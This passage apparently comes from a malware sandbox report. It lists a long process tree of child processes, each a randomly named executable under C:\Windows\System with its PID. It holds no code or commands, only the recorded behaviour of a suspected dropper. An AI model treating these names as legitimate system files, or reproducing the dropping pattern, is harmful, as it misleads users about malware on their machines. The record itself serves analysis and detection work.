  C:\Windows\System\ARsNfFo.exe
  2⤵
  PID:12220
- C:\Windows\System\QaFbKfN.exe
  C:\Windows\System\QaFbKfN.exe
  2⤵
  PID:12236
- C:\Windows\System\VLaORsB.exe
  C:\Windows\System\VLaORsB.exe
  2⤵
  PID:12260
- C:\Windows\System\WZzRDBE.exe
  C:\Windows\System\WZzRDBE.exe
  2⤵
  PID:12280
- C:\Windows\System\NzMfGbO.exe
  C:\Windows\System\NzMfGbO.exe
  2⤵
  PID:2596
- C:\Windows\System\nNIGHnK.exe
  C:\Windows\System\nNIGHnK.exe
  2⤵
  PID:1860
- C:\Windows\System\WSvTGxh.exe
  C:\Windows\System\WSvTGxh.exe
  2⤵
  PID:10520
- C:\Windows\System\UfYGpsn.exe
  C:\Windows\System\UfYGpsn.exe
  2⤵
  PID:2716
- C:\Windows\System\Uhcqrdw.exe
  C:\Windows\System\Uhcqrdw.exe
  2⤵
  PID:11136
- C:\Windows\System\WLfHgtU.exe
  C:\Windows\System\WLfHgtU.exe
  2⤵
  PID:10560
- C:\Windows\System\WCKtLRG.exe
  C:\Windows\System\WCKtLRG.exe
  2⤵
  PID:3956
- C:\Windows\System\tnTdyIm.exe
  C:\Windows\System\tnTdyIm.exe
  2⤵
  PID:11452
- C:\Windows\System\SmwQYSK.exe
  C:\Windows\System\SmwQYSK.exe
  2⤵
  PID:11348
- C:\Windows\System\NPgQpsF.exe
  C:\Windows\System\NPgQpsF.exe
  2⤵
  PID:11568
- C:\Windows\System\DMCjNhq.exe
  C:\Windows\System\DMCjNhq.exe
  2⤵
  PID:2540
- C:\Windows\System\ddiUqWT.exe
  C:\Windows\System\ddiUqWT.exe
  2⤵
  PID:11352
- C:\Windows\System\YCfccGO.exe
  C:\Windows\System\YCfccGO.exe
  2⤵
  PID:11272
- C:\Windows\System\UxPVdef.exe
  C:\Windows\System\UxPVdef.exe
  2⤵
  PID:11372
- C:\Windows\System\JIghsMP.exe
  C:\Windows\System\JIghsMP.exe
  2⤵
  PID:4884
- C:\Windows\System\qZpJOcw.exe
  C:\Windows\System\qZpJOcw.exe
  2⤵
  PID:11316
- C:\Windows\System\djOLIcq.exe
  C:\Windows\System\djOLIcq.exe
  2⤵
  PID:11328
- C:\Windows\System\VHThqVN.exe
  C:\Windows\System\VHThqVN.exe
  2⤵
  PID:11760
- C:\Windows\System\rXLuonP.exe
  C:\Windows\System\rXLuonP.exe
  2⤵
  PID:11472
- C:\Windows\System\KOnyxJL.exe
  C:\Windows\System\KOnyxJL.exe
  2⤵
  PID:11984
- C:\Windows\System\ZHObYPp.exe
  C:\Windows\System\ZHObYPp.exe
  2⤵
  PID:1332
- C:\Windows\System\biAmCRS.exe
  C:\Windows\System\biAmCRS.exe
  2⤵
  PID:4576
- C:\Windows\System\CwtBgtO.exe
  C:\Windows\System\CwtBgtO.exe
  2⤵
  PID:11292
- C:\Windows\System\dEjGDjO.exe
  C:\Windows\System\dEjGDjO.exe
  2⤵
  PID:12004
- C:\Windows\System\Nkmwxnu.exe
  C:\Windows\System\Nkmwxnu.exe
  2⤵
  PID:12020
- C:\Windows\System\rujglKt.exe
  C:\Windows\System\rujglKt.exe
  2⤵
  PID:12056
- C:\Windows\System\ANHzDAD.exe
  C:\Windows\System\ANHzDAD.exe
  2⤵
  PID:12092
- C:\Windows\System\gcCAGoX.exe
  C:\Windows\System\gcCAGoX.exe
  2⤵
  PID:12156
- C:\Windows\System\ZRNlNZi.exe
  C:\Windows\System\ZRNlNZi.exe
  2⤵
  PID:12200
- C:\Windows\System\QsuGhoz.exe
  C:\Windows\System\QsuGhoz.exe
  2⤵
  PID:12256
- C:\Windows\System\quPyfcc.exe
  C:\Windows\System\quPyfcc.exe
  2⤵
  PID:12228
- C:\Windows\System\SYMcBMU.exe
  C:\Windows\System\SYMcBMU.exe
  2⤵
  PID:4052
- C:\Windows\System\rYTkkPW.exe
  C:\Windows\System\rYTkkPW.exe
  2⤵
  PID:1652
- C:\Windows\System\onAxZxi.exe
  C:\Windows\System\onAxZxi.exe
  2⤵
  PID:11828
- C:\Windows\System\DQXfHlZ.exe
  C:\Windows\System\DQXfHlZ.exe
  2⤵
  PID:11740
- C:\Windows\System\GscOwvw.exe
  C:\Windows\System\GscOwvw.exe
  2⤵
  PID:11432
- C:\Windows\System\zfcymil.exe
  C:\Windows\System\zfcymil.exe
  2⤵
  PID:572
- C:\Windows\System\AouATvW.exe
  C:\Windows\System\AouATvW.exe
  2⤵
  PID:12292
- C:\Windows\System\uROUHzD.exe
  C:\Windows\System\uROUHzD.exe
  2⤵
  PID:12312
- C:\Windows\System\ikPRina.exe
  C:\Windows\System\ikPRina.exe
  2⤵
  PID:12332
- C:\Windows\System\qwmnRVM.exe
  C:\Windows\System\qwmnRVM.exe
  2⤵
  PID:12364
- C:\Windows\System\iXOmuvf.exe
  C:\Windows\System\iXOmuvf.exe
  2⤵
  PID:12384
- C:\Windows\System\LgqROqM.exe
  C:\Windows\System\LgqROqM.exe
  2⤵
  PID:12712
- C:\Windows\System\KAUrxXv.exe
  C:\Windows\System\KAUrxXv.exe
  2⤵
  PID:12732
- C:\Windows\System\aJwyNyc.exe
  C:\Windows\System\aJwyNyc.exe
  2⤵
  PID:12752
- C:\Windows\System\STQYKsn.exe
  C:\Windows\System\STQYKsn.exe
  2⤵
  PID:12772
- C:\Windows\System\hDbladA.exe
  C:\Windows\System\hDbladA.exe
  2⤵
  PID:12796
- C:\Windows\System\KGOzFyo.exe
  C:\Windows\System\KGOzFyo.exe
  2⤵
  PID:12812
- C:\Windows\System\tcrfYWV.exe
  C:\Windows\System\tcrfYWV.exe
  2⤵
  PID:12828
- C:\Windows\System\WSOToZQ.exe
  C:\Windows\System\WSOToZQ.exe
  2⤵
  PID:12852
- C:\Windows\System\UihkjtM.exe
  C:\Windows\System\UihkjtM.exe
  2⤵
  PID:12876
- C:\Windows\System\CzLywNi.exe
  C:\Windows\System\CzLywNi.exe
  2⤵
  PID:12900
- C:\Windows\System\LsNYMzx.exe
  C:\Windows\System\LsNYMzx.exe
  2⤵
  PID:12920
- C:\Windows\System\PRDJKMO.exe
  C:\Windows\System\PRDJKMO.exe
  2⤵
  PID:12944
- C:\Windows\System\gEsgVms.exe
  C:\Windows\System\gEsgVms.exe
  2⤵
  PID:12964
- C:\Windows\System\MicVPOa.exe
  C:\Windows\System\MicVPOa.exe
  2⤵
  PID:12980
- C:\Windows\System\TkQHRxd.exe
  C:\Windows\System\TkQHRxd.exe
  2⤵
  PID:13000
- C:\Windows\System\EgLldwD.exe
  C:\Windows\System\EgLldwD.exe
  2⤵
  PID:13020
- C:\Windows\System\winDnGh.exe
  C:\Windows\System\winDnGh.exe
  2⤵
  PID:13040
- C:\Windows\System\SRtwJhA.exe
  C:\Windows\System\SRtwJhA.exe
  2⤵
  PID:13060
- C:\Windows\System\JHWnPoC.exe
  C:\Windows\System\JHWnPoC.exe
  2⤵
  PID:13084
- C:\Windows\System\gAMmtWP.exe
  C:\Windows\System\gAMmtWP.exe
  2⤵
  PID:12276
- C:\Windows\System\cUWbfNY.exe
  C:\Windows\System\cUWbfNY.exe
  2⤵
  PID:12860
- C:\Windows\System\RCFVZWt.exe
  C:\Windows\System\RCFVZWt.exe
  2⤵
  PID:13036
- C:\Windows\System\SnDiNEq.exe
  C:\Windows\System\SnDiNEq.exe
  2⤵
  PID:2756
- C:\Windows\System\cUCVZIi.exe
  C:\Windows\System\cUCVZIi.exe
  2⤵
  PID:12320
- C:\Windows\System\ECPkXZi.exe
  C:\Windows\System\ECPkXZi.exe
  2⤵
  PID:3836
- C:\Windows\System\GtQUVBY.exe
  C:\Windows\System\GtQUVBY.exe
  2⤵
  PID:1336
- C:\Windows\System\CTIVMXa.exe
  C:\Windows\System\CTIVMXa.exe
  2⤵
  PID:5044
- C:\Windows\System\vqFCjqj.exe
  C:\Windows\System\vqFCjqj.exe
  2⤵
  PID:5956
- C:\Windows\System\perxMdF.exe
  C:\Windows\System\perxMdF.exe
  2⤵
  PID:3688
- C:\Windows\System\hraFCZY.exe
  C:\Windows\System\hraFCZY.exe
  2⤵
  PID:13644
- C:\Windows\System\rWVvuHQ.exe
  C:\Windows\System\rWVvuHQ.exe
  2⤵
  PID:5832
- C:\Windows\System\gMXlcGN.exe
  C:\Windows\System\gMXlcGN.exe
  2⤵
  PID:5420
- C:\Windows\System\FaMXlds.exe
  C:\Windows\System\FaMXlds.exe
  2⤵
  PID:12728
- C:\Windows\System\RVgRFQf.exe
  C:\Windows\System\RVgRFQf.exe
  2⤵
  PID:5748
- C:\Windows\System\xkNpXYh.exe
  C:\Windows\System\xkNpXYh.exe
  2⤵
  PID:13720
- C:\Windows\System\cQiFpbR.exe
  C:\Windows\System\cQiFpbR.exe
  2⤵
  PID:13452
- C:\Windows\System\UxOSaax.exe
  C:\Windows\System\UxOSaax.exe
  2⤵
  PID:12940
- C:\Windows\System\tmYwWuF.exe
  C:\Windows\System\tmYwWuF.exe
  2⤵
  PID:5220
- C:\Windows\System\xWowMEY.exe
  C:\Windows\System\xWowMEY.exe
  2⤵
  PID:5216
- C:\Windows\System\plVsJYv.exe
  C:\Windows\System\plVsJYv.exe
  2⤵
  PID:11968
- C:\Windows\System\qUUUkiU.exe
  C:\Windows\System\qUUUkiU.exe
  2⤵
  PID:1968
- C:\Windows\System\QXKItQC.exe
  C:\Windows\System\QXKItQC.exe
  2⤵
  PID:13152
- C:\Windows\System\FyVCzIc.exe
  C:\Windows\System\FyVCzIc.exe
  2⤵
  PID:13784
- C:\Windows\System\ARUljLv.exe
  C:\Windows\System\ARUljLv.exe
  2⤵
  PID:13340
- C:\Windows\System\zYBlbYg.exe
  C:\Windows\System\zYBlbYg.exe
  2⤵
  PID:13388
- C:\Windows\System\UcplnGY.exe
  C:\Windows\System\UcplnGY.exe
  2⤵
  PID:13508
- C:\Windows\System\gJbAjZZ.exe
  C:\Windows\System\gJbAjZZ.exe
  2⤵
  PID:14232
- C:\Windows\System\SJlHYoS.exe
  C:\Windows\System\SJlHYoS.exe
  2⤵
  PID:13992
- C:\Windows\System\zywuPod.exe
  C:\Windows\System\zywuPod.exe
  2⤵
  PID:6812
- C:\Windows\System\vwrtxRn.exe
  C:\Windows\System\vwrtxRn.exe
  2⤵
  PID:14968
- C:\Windows\System\TqODqwl.exe
  C:\Windows\System\TqODqwl.exe
  2⤵
  PID:9116
- C:\Windows\System\FWEHzzX.exe
  C:\Windows\System\FWEHzzX.exe
  2⤵
  PID:8152
- C:\Windows\System\zqJBrDv.exe
  C:\Windows\System\zqJBrDv.exe
  2⤵
  PID:15336
- C:\Windows\System\eBXFkPE.exe
  C:\Windows\System\eBXFkPE.exe
  2⤵
  PID:15056
- C:\Windows\System\hdIcVso.exe
  C:\Windows\System\hdIcVso.exe
  2⤵
  PID:7544
- C:\Windows\System\GKKGaVO.exe
  C:\Windows\System\GKKGaVO.exe
  2⤵
  PID:15120
- C:\Windows\System\FPVDoBj.exe
  C:\Windows\System\FPVDoBj.exe
  2⤵
  PID:15140
- C:\Windows\System\hKsndJl.exe
  C:\Windows\System\hKsndJl.exe
  2⤵
  PID:15168
- C:\Windows\System\UpKpAtH.exe
  C:\Windows\System\UpKpAtH.exe
  2⤵
  PID:13960
- C:\Windows\System\oXvRhLZ.exe
  C:\Windows\System\oXvRhLZ.exe
  2⤵
  PID:14024
- C:\Windows\System\yYMUspx.exe
  C:\Windows\System\yYMUspx.exe
  2⤵
  PID:8408
- C:\Windows\System\uqBwFDD.exe
  C:\Windows\System\uqBwFDD.exe
  2⤵
  PID:6780
- C:\Windows\System\pgpALnN.exe
  C:\Windows\System\pgpALnN.exe
  2⤵
  PID:14388
- C:\Windows\System\uJTSEck.exe
  C:\Windows\System\uJTSEck.exe
  2⤵
  PID:5408
- C:\Windows\System\VTnpwBq.exe
  C:\Windows\System\VTnpwBq.exe
  2⤵
  PID:6280
- C:\Windows\System\weXMrce.exe
  C:\Windows\System\weXMrce.exe
  2⤵
  PID:6548
- C:\Windows\System\kJeRipb.exe
  C:\Windows\System\kJeRipb.exe
  2⤵
  PID:7644
- C:\Windows\System\EHLMrvE.exe
  C:\Windows\System\EHLMrvE.exe
  2⤵
  PID:15224
- C:\Windows\System\wGaVNfA.exe
  C:\Windows\System\wGaVNfA.exe
  2⤵
  PID:8292
- C:\Windows\System\ngedJEY.exe
  C:\Windows\System\ngedJEY.exe
  2⤵
  PID:8860
- C:\Windows\System\czYvOos.exe
  C:\Windows\System\czYvOos.exe
  2⤵
  PID:8828
- C:\Windows\System\nhhGgFx.exe
  C:\Windows\System\nhhGgFx.exe
  2⤵
  PID:7084
- C:\Windows\System\whPHEyO.exe
  C:\Windows\System\whPHEyO.exe
  2⤵
  PID:14820
- C:\Windows\System\XROKADh.exe
  C:\Windows\System\XROKADh.exe
  2⤵
  PID:9596
- C:\Windows\System\RcuyAGw.exe
  C:\Windows\System\RcuyAGw.exe
  2⤵
  PID:6224
- C:\Windows\System\WLojgYS.exe
  C:\Windows\System\WLojgYS.exe
  2⤵
  PID:3696
- C:\Windows\System\njxQexg.exe
  C:\Windows\System\njxQexg.exe
  2⤵
  PID:10360
- C:\Windows\System\nDqxQjO.exe
  C:\Windows\System\nDqxQjO.exe
  2⤵
  PID:9588
- C:\Windows\System\OqENdFG.exe
  C:\Windows\System\OqENdFG.exe
  2⤵
  PID:14500
- C:\Windows\System\CwsyWox.exe
  C:\Windows\System\CwsyWox.exe
  2⤵
  PID:8872
- C:\Windows\System\PhrpKCP.exe
  C:\Windows\System\PhrpKCP.exe
  2⤵
  PID:12612
- C:\Windows\System\LeNUQrg.exe
  C:\Windows\System\LeNUQrg.exe
  2⤵
  PID:10020
- C:\Windows\System\hRnQgEy.exe
  C:\Windows\System\hRnQgEy.exe
  2⤵
  PID:10232
- C:\Windows\System\Irfrzqh.exe
  C:\Windows\System\Irfrzqh.exe
  2⤵
  PID:9460
- C:\Windows\System\pCxBvYt.exe
  C:\Windows\System\pCxBvYt.exe
  2⤵
  PID:13184
- C:\Windows\System\jnCXwkZ.exe
  C:\Windows\System\jnCXwkZ.exe
  2⤵
  PID:11448
- C:\Windows\System\pZFiFig.exe
  C:\Windows\System\pZFiFig.exe
  2⤵
  PID:14624
- C:\Windows\System\MinTKpW.exe
  C:\Windows\System\MinTKpW.exe
  2⤵
  PID:8768
- C:\Windows\System\pMQHvYF.exe
  C:\Windows\System\pMQHvYF.exe
  2⤵
  PID:8892
- C:\Windows\System\wRhcOwa.exe
  C:\Windows\System\wRhcOwa.exe
  2⤵
  PID:10912
- C:\Windows\System\WIhjnvv.exe
  C:\Windows\System\WIhjnvv.exe
  2⤵
  PID:7056
- C:\Windows\System\OGvgclB.exe
  C:\Windows\System\OGvgclB.exe
  2⤵
  PID:14764
- C:\Windows\System\cGesksI.exe
  C:\Windows\System\cGesksI.exe
  2⤵
  PID:14788
- C:\Windows\System\bYQymCl.exe
  C:\Windows\System\bYQymCl.exe
  2⤵
  PID:14848
- C:\Windows\System\WHksWcO.exe
  C:\Windows\System\WHksWcO.exe
  2⤵
  PID:9296
- C:\Windows\System\DOSnhdl.exe
  C:\Windows\System\DOSnhdl.exe
  2⤵
  PID:10408
- C:\Windows\System\TbRVRFu.exe
  C:\Windows\System\TbRVRFu.exe
  2⤵
  PID:14936
- C:\Windows\System\eNXLfvZ.exe
  C:\Windows\System\eNXLfvZ.exe
  2⤵
  PID:8412
- C:\Windows\System\PaTSCkL.exe
  C:\Windows\System\PaTSCkL.exe
  2⤵
  PID:8312
- C:\Windows\System\IAdSyut.exe
  C:\Windows\System\IAdSyut.exe
  2⤵
  PID:10364
- C:\Windows\System\gscisGn.exe
  C:\Windows\System\gscisGn.exe
  2⤵
  PID:11252
- C:\Windows\System\SjpCNno.exe
  C:\Windows\System\SjpCNno.exe
  2⤵
  PID:10600
- C:\Windows\System\sgJGOYX.exe
  C:\Windows\System\sgJGOYX.exe
  2⤵
  PID:6648
- C:\Windows\System\AyNnotn.exe
  C:\Windows\System\AyNnotn.exe
  2⤵
  PID:8376
- C:\Windows\System\yfdIJpf.exe
  C:\Windows\System\yfdIJpf.exe
  2⤵
  PID:10692
- C:\Windows\System\VyOZhVA.exe
  C:\Windows\System\VyOZhVA.exe
  2⤵
  PID:10660
- C:\Windows\System\KUWvOdo.exe
  C:\Windows\System\KUWvOdo.exe
  2⤵
  PID:10528
- C:\Windows\System\pDahdog.exe
  C:\Windows\System\pDahdog.exe
  2⤵
  PID:14476
- C:\Windows\System\HskKoUH.exe
  C:\Windows\System\HskKoUH.exe
  2⤵
  PID:8472
- C:\Windows\System\BqMijUm.exe
  C:\Windows\System\BqMijUm.exe
  2⤵
  PID:15088
- C:\Windows\System\VSqDHrR.exe
  C:\Windows\System\VSqDHrR.exe
  2⤵
  PID:10084
- C:\Windows\System\HROOBoZ.exe
  C:\Windows\System\HROOBoZ.exe
  2⤵
  PID:8392
- C:\Windows\System\kxeXrBv.exe
  C:\Windows\System\kxeXrBv.exe
  2⤵
  PID:8776
- C:\Windows\System\FmotsLX.exe
  C:\Windows\System\FmotsLX.exe
  2⤵
  PID:5712
- C:\Windows\System\beMqcvu.exe
  C:\Windows\System\beMqcvu.exe
  2⤵
  PID:14088
- C:\Windows\System\BnbxgEw.exe
  C:\Windows\System\BnbxgEw.exe
  2⤵
  PID:10812
- C:\Windows\System\adQIVIk.exe
  C:\Windows\System\adQIVIk.exe
  2⤵
  PID:9896
- C:\Windows\System\SkDgAVK.exe
  C:\Windows\System\SkDgAVK.exe
  2⤵
  PID:8048
- C:\Windows\System\hdDqfMj.exe
  C:\Windows\System\hdDqfMj.exe
  2⤵
  PID:9948
- C:\Windows\System\uSlwUlV.exe
  C:\Windows\System\uSlwUlV.exe
  2⤵
  PID:10188
- C:\Windows\System\rJplNXU.exe
  C:\Windows\System\rJplNXU.exe
  2⤵
  PID:10988
- C:\Windows\System\ZalvIut.exe
  C:\Windows\System\ZalvIut.exe
  2⤵
  PID:8740
- C:\Windows\System\SZGPhYM.exe
  C:\Windows\System\SZGPhYM.exe
  2⤵
  PID:15184
- C:\Windows\System\cmbNSSh.exe
  C:\Windows\System\cmbNSSh.exe
  2⤵
  PID:10156
- C:\Windows\System\ZRaogBz.exe
  C:\Windows\System\ZRaogBz.exe
  2⤵
  PID:11176
- C:\Windows\System\nuKksmx.exe
  C:\Windows\System\nuKksmx.exe
  2⤵
  PID:11240
- C:\Windows\System\oCFdIFc.exe
  C:\Windows\System\oCFdIFc.exe
  2⤵
  PID:7940
- C:\Windows\System\fOMGcwQ.exe
  C:\Windows\System\fOMGcwQ.exe
  2⤵
  PID:7984
- C:\Windows\System\JuJTxkd.exe
  C:\Windows\System\JuJTxkd.exe
  2⤵
  PID:14792
- C:\Windows\System\IsrewSL.exe
  C:\Windows\System\IsrewSL.exe
  2⤵
  PID:12268
- C:\Windows\System\KkaLgFo.exe
  C:\Windows\System\KkaLgFo.exe
  2⤵
  PID:13652
- C:\Windows\System\lTzgfXY.exe
  C:\Windows\System\lTzgfXY.exe
  2⤵
  PID:14428
- C:\Windows\System\prMxQjJ.exe
  C:\Windows\System\prMxQjJ.exe
  2⤵
  PID:7456
- C:\Windows\System\xTckKXH.exe
  C:\Windows\System\xTckKXH.exe
  2⤵
  PID:8232
- C:\Windows\System\SopxDKj.exe
  C:\Windows\System\SopxDKj.exe
  2⤵
  PID:7772
- C:\Windows\System\jRnyIEG.exe
  C:\Windows\System\jRnyIEG.exe
  2⤵
  PID:8560
- C:\Windows\System\XmvHMby.exe
  C:\Windows\System\XmvHMby.exe
  2⤵
  PID:15260
- C:\Windows\System\TRTAuIf.exe
  C:\Windows\System\TRTAuIf.exe
  2⤵
  PID:14892
- C:\Windows\System\iJlUiaf.exe
  C:\Windows\System\iJlUiaf.exe
  2⤵
  PID:8532
- C:\Windows\System\SDnncFE.exe
  C:\Windows\System\SDnncFE.exe
  2⤵
  PID:8328
- C:\Windows\System\YNUUqvB.exe
  C:\Windows\System\YNUUqvB.exe
  2⤵
  PID:15012
- C:\Windows\System\PgztkQW.exe
  C:\Windows\System\PgztkQW.exe
  2⤵
  PID:15096
- C:\Windows\System\XNWfihO.exe
  C:\Windows\System\XNWfihO.exe
  2⤵
  PID:3948
- C:\Windows\System\pPPXiCp.exe
  C:\Windows\System\pPPXiCp.exe
  2⤵
  PID:8552
- C:\Windows\System\HSpkpWU.exe
  C:\Windows\System\HSpkpWU.exe
  2⤵
  PID:5940
- C:\Windows\System\gpCbtWu.exe
  C:\Windows\System\gpCbtWu.exe
  2⤵
  PID:10124
- C:\Windows\System\eGPbgFl.exe
  C:\Windows\System\eGPbgFl.exe
  2⤵
  PID:14520
- C:\Windows\System\wvmTcTP.exe
  C:\Windows\System\wvmTcTP.exe
  2⤵
  PID:14112
- C:\Windows\System\fqbQxgU.exe
  C:\Windows\System\fqbQxgU.exe
  2⤵
  PID:14684
- C:\Windows\System\KsukUib.exe
  C:\Windows\System\KsukUib.exe
  2⤵
  PID:14652
- C:\Windows\System\acqSIjZ.exe
  C:\Windows\System\acqSIjZ.exe
  2⤵
  PID:14384
- C:\Windows\System\NrvjllS.exe
  C:\Windows\System\NrvjllS.exe
  2⤵
  PID:14040
- C:\Windows\System\MSzxoew.exe
  C:\Windows\System\MSzxoew.exe
  2⤵
  PID:5064
- C:\Windows\System\sicccil.exe
  C:\Windows\System\sicccil.exe
  2⤵
  PID:2396
- C:\Windows\System\ZeOlwIa.exe
  C:\Windows\System\ZeOlwIa.exe
  2⤵
  PID:14184
- C:\Windows\System\qdWqKsm.exe
  C:\Windows\System\qdWqKsm.exe
  2⤵
  PID:1956
- C:\Windows\System\tUSgmmL.exe
  C:\Windows\System\tUSgmmL.exe
  2⤵
  PID:6836
- C:\Windows\System\EavTIFS.exe
  C:\Windows\System\EavTIFS.exe
  2⤵
  PID:9788
- C:\Windows\System\yrBXqDz.exe
  C:\Windows\System\yrBXqDz.exe
  2⤵
  PID:8876
- C:\Windows\System\wcmWgXt.exe
  C:\Windows\System\wcmWgXt.exe
  2⤵
  PID:9692
- C:\Windows\System\OMoVHeV.exe
  C:\Windows\System\OMoVHeV.exe
  2⤵
  PID:13324
- C:\Windows\System\rjBeReW.exe
  C:\Windows\System\rjBeReW.exe
  2⤵
  PID:14688
- C:\Windows\System\LFMGHxW.exe
  C:\Windows\System\LFMGHxW.exe
  2⤵
  PID:13792
- C:\Windows\System\BeLWqMU.exe
  C:\Windows\System\BeLWqMU.exe
  2⤵
  PID:10504
- C:\Windows\System\ujFQaDP.exe
  C:\Windows\System\ujFQaDP.exe
  2⤵
  PID:7684
- C:\Windows\System\enKHHUC.exe
  C:\Windows\System\enKHHUC.exe
  2⤵
  PID:10492
- C:\Windows\System\hLxgzIk.exe
  C:\Windows\System\hLxgzIk.exe
  2⤵
  PID:7492
- C:\Windows\System\WbiCqqY.exe
  C:\Windows\System\WbiCqqY.exe
  2⤵
  PID:10584
- C:\Windows\System\vuyWEUF.exe
  C:\Windows\System\vuyWEUF.exe
  2⤵
  PID:6904
- C:\Windows\System\fPKXxWH.exe
  C:\Windows\System\fPKXxWH.exe
  2⤵
  PID:15100
- C:\Windows\System\oaDkKfR.exe
  C:\Windows\System\oaDkKfR.exe
  2⤵
  PID:11072
- C:\Windows\System\BVUBASw.exe
  C:\Windows\System\BVUBASw.exe
  2⤵
  PID:10636
- C:\Windows\System\CiFfCgq.exe
  C:\Windows\System\CiFfCgq.exe
  2⤵
  PID:10436
- C:\Windows\System\khvTWLO.exe
  C:\Windows\System\khvTWLO.exe
  2⤵
  PID:14064
- C:\Windows\System\zzKldcZ.exe
  C:\Windows\System\zzKldcZ.exe
  2⤵
  PID:14132
- C:\Windows\System\ycWhYSD.exe
  C:\Windows\System\ycWhYSD.exe
  2⤵
  PID:5428
- C:\Windows\System\skbYjJl.exe
  C:\Windows\System\skbYjJl.exe
  2⤵
  PID:10200
- C:\Windows\System\GsCHiAB.exe
  C:\Windows\System\GsCHiAB.exe
  2⤵
  PID:7288
- C:\Windows\System\UkTBgzQ.exe
  C:\Windows\System\UkTBgzQ.exe
  2⤵
  PID:9592
- C:\Windows\System\fIeDSax.exe
  C:\Windows\System\fIeDSax.exe
  2⤵
  PID:9800
- C:\Windows\System\MnvZQmL.exe
  C:\Windows\System\MnvZQmL.exe
  2⤵
  PID:11344
- C:\Windows\System\flemXhA.exe
  C:\Windows\System\flemXhA.exe
  2⤵
  PID:11376
- C:\Windows\System\posYvzy.exe
  C:\Windows\System\posYvzy.exe
  2⤵
  PID:14380
- C:\Windows\System\SjfAZlf.exe
  C:\Windows\System\SjfAZlf.exe
  2⤵
  PID:8236
- C:\Windows\System\UfSiqet.exe
  C:\Windows\System\UfSiqet.exe
  2⤵
  PID:9984
- C:\Windows\System\XePRcDF.exe
  C:\Windows\System\XePRcDF.exe
  2⤵
  PID:8428
- C:\Windows\System\GUGJoXq.exe
  C:\Windows\System\GUGJoXq.exe
  2⤵
  PID:1760
- C:\Windows\System\yvsCkku.exe
  C:\Windows\System\yvsCkku.exe
  2⤵
  PID:8968
- C:\Windows\System\xZJYEKl.exe
  C:\Windows\System\xZJYEKl.exe
  2⤵
  PID:14864
- C:\Windows\System\xNhBxPu.exe
  C:\Windows\System\xNhBxPu.exe
  2⤵
  PID:14424
- C:\Windows\System\QKqMpqX.exe
  C:\Windows\System\QKqMpqX.exe
  2⤵
  PID:10868
- C:\Windows\System\LQkakMr.exe
  C:\Windows\System\LQkakMr.exe
  2⤵
  PID:1596
- C:\Windows\System\KwrXVBg.exe
  C:\Windows\System\KwrXVBg.exe
  2⤵
  PID:15688
- C:\Windows\System\FPzQXbK.exe
  C:\Windows\System\FPzQXbK.exe
  2⤵
  PID:10668
- C:\Windows\System\utuoloN.exe
  C:\Windows\System\utuoloN.exe
  2⤵
  PID:8280
- C:\Windows\System\jodbBQY.exe
  C:\Windows\System\jodbBQY.exe
  2⤵
  PID:9636
- C:\Windows\System\WnfFklN.exe
  C:\Windows\System\WnfFklN.exe
  2⤵
  PID:10516
- C:\Windows\System\mDMNbeY.exe
  C:\Windows\System\mDMNbeY.exe
  2⤵
  PID:10472
- C:\Windows\System\EpgQBMO.exe
  C:\Windows\System\EpgQBMO.exe
  2⤵
  PID:11960
- C:\Windows\System\dKMmfMw.exe
  C:\Windows\System\dKMmfMw.exe
  2⤵
  PID:12120
- C:\Windows\System\ggLbdem.exe
  C:\Windows\System\ggLbdem.exe
  2⤵
  PID:11388
- C:\Windows\System\YoSJIAX.exe
  C:\Windows\System\YoSJIAX.exe
  2⤵
  PID:14704
- C:\Windows\System\pQMLLuK.exe
  C:\Windows\System\pQMLLuK.exe
  2⤵
  PID:10224
- C:\Windows\System\jDJhKCD.exe
  C:\Windows\System\jDJhKCD.exe
  2⤵
  PID:9932
- C:\Windows\System\XFhvnLv.exe
  C:\Windows\System\XFhvnLv.exe
  2⤵
  PID:10984
- C:\Windows\System\urFoRaE.exe
  C:\Windows\System\urFoRaE.exe
  2⤵
  PID:13448
- C:\Windows\System\zQiULwv.exe
  C:\Windows\System\zQiULwv.exe
  2⤵
  PID:2172
- C:\Windows\System\HNBUPAI.exe
  C:\Windows\System\HNBUPAI.exe
  2⤵
  PID:9924
- C:\Windows\System\HpOblqn.exe
  C:\Windows\System\HpOblqn.exe
  2⤵
  PID:11996
- C:\Windows\System\nUzZUue.exe
  C:\Windows\System\nUzZUue.exe
  2⤵
  PID:3112
- C:\Windows\System\gUxRxTS.exe
  C:\Windows\System\gUxRxTS.exe
  2⤵
  PID:12544
- C:\Windows\System\YhTjZRj.exe
  C:\Windows\System\YhTjZRj.exe
  2⤵
  PID:14528
- C:\Windows\System\rAxkyVc.exe
  C:\Windows\System\rAxkyVc.exe
  2⤵
  PID:12468
- C:\Windows\System\ofbroRj.exe
  C:\Windows\System\ofbroRj.exe
  2⤵
  PID:13200
- C:\Windows\System\uRdnQTN.exe
  C:\Windows\System\uRdnQTN.exe
  2⤵
  PID:15020
- C:\Windows\System\egwfMWF.exe
  C:\Windows\System\egwfMWF.exe
  2⤵
  PID:15196
- C:\Windows\System\nXZsfqj.exe
  C:\Windows\System\nXZsfqj.exe
  2⤵
  PID:15536
- C:\Windows\System\cinvhlJ.exe
  C:\Windows\System\cinvhlJ.exe
  2⤵
  PID:15576
- C:\Windows\System\pplitKL.exe
  C:\Windows\System\pplitKL.exe
  2⤵
  PID:11712
- C:\Windows\System\ACFTbmQ.exe
  C:\Windows\System\ACFTbmQ.exe
  2⤵
  PID:10468
- C:\Windows\System\GImlRNe.exe
  C:\Windows\System\GImlRNe.exe
  2⤵
  PID:15644
- C:\Windows\System\kzZPVpu.exe
  C:\Windows\System\kzZPVpu.exe
  2⤵
  PID:6116
- C:\Windows\System\uBbzxIV.exe
  C:\Windows\System\uBbzxIV.exe
  2⤵
  PID:1348
- C:\Windows\System\QegmFJh.exe
  C:\Windows\System\QegmFJh.exe
  2⤵
  PID:12680
- C:\Windows\System\vrWABRq.exe
  C:\Windows\System\vrWABRq.exe
  2⤵
  PID:3136
- C:\Windows\System\YmqugAX.exe
  C:\Windows\System\YmqugAX.exe
  2⤵
  PID:10268
- C:\Windows\System\CbONUGt.exe
  C:\Windows\System\CbONUGt.exe
  2⤵
  PID:8736
- C:\Windows\System\FVrGuft.exe
  C:\Windows\System\FVrGuft.exe
  2⤵
  PID:3892
- C:\Windows\System\IKvgjaf.exe
  C:\Windows\System\IKvgjaf.exe
  2⤵
  PID:16412
- C:\Windows\System\uZgsZCM.exe
  C:\Windows\System\uZgsZCM.exe
  2⤵
  PID:16436
- C:\Windows\System\OchZvrM.exe
  C:\Windows\System\OchZvrM.exe
  2⤵
  PID:16456
- C:\Windows\System\nSqmRgg.exe
